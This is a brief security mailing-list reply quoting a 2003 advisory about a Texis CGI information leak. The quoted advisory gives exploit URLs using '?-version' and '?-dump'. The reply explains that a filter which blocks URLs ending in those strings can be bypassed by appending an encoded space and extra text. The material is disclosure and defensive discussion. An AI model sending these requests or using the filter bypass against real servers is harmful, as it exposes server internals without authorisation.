> //@(#) Mordred Security Labs advisory > > Release date: March 15, 2003 > Name: Texis sensitive information leak > Versions affected: all versions > Risk: average > Author: Sir Mordred (mordred@s-mail.com, http://mslabs.iwebland.com) > III. Exploit: > > http://victim.com/texis.exe/?-version > http://victim.com/texis.exe/?-dump Please note that simply blocking URL's ending in "?-dump" and "?-version" won't work. You can append a space and additional text, such as: http://www.example.org/cgi-bin/texis.exe?-dump%20kjshkjhskjsh.html I didn't bother to test any other special characters or encoding (i.e. UNICODE), I suspect there may be other ones that can be used. Kurt Seifried, kurt@seifried.org A15B BEE5 B391 B9AD B0EF AEB0 AD63 0B4E AD56 E574 http://seifried.org/security/
